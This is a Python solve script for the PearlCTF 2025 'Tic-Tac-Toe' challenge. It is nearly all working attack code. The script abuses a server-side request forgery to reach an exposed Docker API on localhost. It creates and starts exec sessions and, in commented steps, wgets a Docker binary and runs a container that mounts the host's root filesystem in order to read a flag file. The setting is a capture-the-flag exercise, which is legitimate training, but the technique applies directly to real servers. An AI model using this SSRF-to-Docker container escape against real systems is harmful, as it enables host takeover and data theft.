PearlCTF 2025 — Tic-Tac-Toe: SSRF to Docker Socket → Container Escape

1
import requests
2
import re
3

4
burp0_url = "https://tic-tac-toe-2be65176aac79f13.ctf.pearlctf.in/"
5
burp0_headers = {
6
    "User-Agent": "curl/8.12.1",
7
    "Accept": "*/*",
8
    "Content-Type": "application/json"
9
}
10

11
# First deploy a container using the /deploy endpoint
12

13
# Get the container ID from /info endpoint
14
burp0_json = { "state": "_________", "api": {"http://": "http://127.0.0.1:2375/info#"}, "action": "get" }
15

16
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
17
id = r.json()['body']['ContainerdCommit']['ID']
18
# id = "1d2fcd2b5eb60213efaac10fa38ed96e73c6dca5dbc6f6ffaf34144b2621fe26"
19

20
# install docker and run a container with a volume mount to read the flag
21
# command = "wget https://download.docker.com/linux/static/stable/x86_64/docker-20.10.18.tgz && tar -xvf docker-20.10.18.tgz && mv docker/* /usr/local/bin/ && chmod +x /usr/local/bin/docker"
22
# command = "docker -H 172.17.0.1:2375 run -tid -v /:/mnt/ --name flast102 alpine"
23

24
# read the flag
25
command = "docker -H 172.17.0.1:2375 exec flast102 sh -c 'cat /mnt/flag/flag.txt'"
26

27
# Send the first POST request to execute the command
28
burp0_json = {
29
    "action": "post",
30
    "api": {"http://": "http://127.0.0.1:2375/containers/{}/exec#".format(id)},
31
    "AttachStderr": True,
32
    "AttachStdin": False,
33
    "AttachStdout": True,
34
    "Cmd": ["sh", "-c", command],
35
    "state": "_________",
36
    "Tty": True
37
}
38

39
print("Sending first POST request...")
40
response = requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
41
#print(f"Response status code: {response.status_code}")
42
#print(f"Response body: {response.text}")
43

44
try:
45
    response_json = response.json()
46
    id = response_json["body"]["Id"]
47
    print(f"Extracted ID: {id}")
48
except (KeyError, ValueError) as e:
49
    print(f"Error extracting ID: {e}")
50
    exit(1)
51

52
# Send the second POST request to start the command
53
burp0_json = {
54
    "action": "post",
55
    "api": {"http://": f"http://127.0.0.1:2375/exec/{id}/start#"},
56
    "Detach": False,
57
    "state": "_________",
58
    "Tty": True
59
}
60

61
print("Sending second POST request...")
62
response = requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
63
#print(f"Response status code: {response.status_code}")
64
#print(f"Response body: {response.text}")
65

66
# print(response.text)
67
try:
68
    response_json = response.json()
69
    body = response_json.get('body', '')
70

71
    ansi_escape = re.compile(r'\x1B[@-_][0-?]*[ -/]*[@-~]')
72
    clean_body = ansi_escape.sub('', body)
73

74
    print("Final response JSON:")
75
    if "got 'list'" in clean_body:
76
        print(response_json)
77
    else:
78
        print(clean_body)
79
except ValueError as e:
80
    print(f"Error parsing final response JSON: {e}")